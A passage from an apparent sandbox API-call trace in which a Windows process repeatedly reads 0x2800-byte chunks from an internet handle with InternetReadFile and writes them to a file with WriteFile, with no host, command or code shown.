lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.734] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.735] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.735] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.742] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.742] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.744] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.744] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.754] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.755] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.763] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.763] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.771] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.771] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.773] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.774] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.780] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.780] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.783] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.783] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.792] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.792] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.802] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.802] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.806] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.806] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.812] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.812] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.816] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.816] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.822] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.822] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.831] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.831] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.835] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.836] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.846] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.846] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.851] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.852] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.857] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.857] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.865] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.866] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.870] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.870] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.873] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.888] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.888] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.890] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.890] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.894] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.894] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.905] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.905] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.907] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.908] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.912] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.912] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.925] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.929] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.930] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.934] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.944] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.945] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.947] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.948] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.951] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.952] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.965] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.965] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.967] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.968] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.973] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.973] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.975] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.975] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.986] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.986] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.990] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.990] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.993] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.994] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.007] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.007] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.010] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.010] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.014] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.014] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.024] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.024] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.029] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.029] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.033] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.033] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.045] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.046] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.049] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.049] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.053] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.053] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0062.064] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0062.064] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 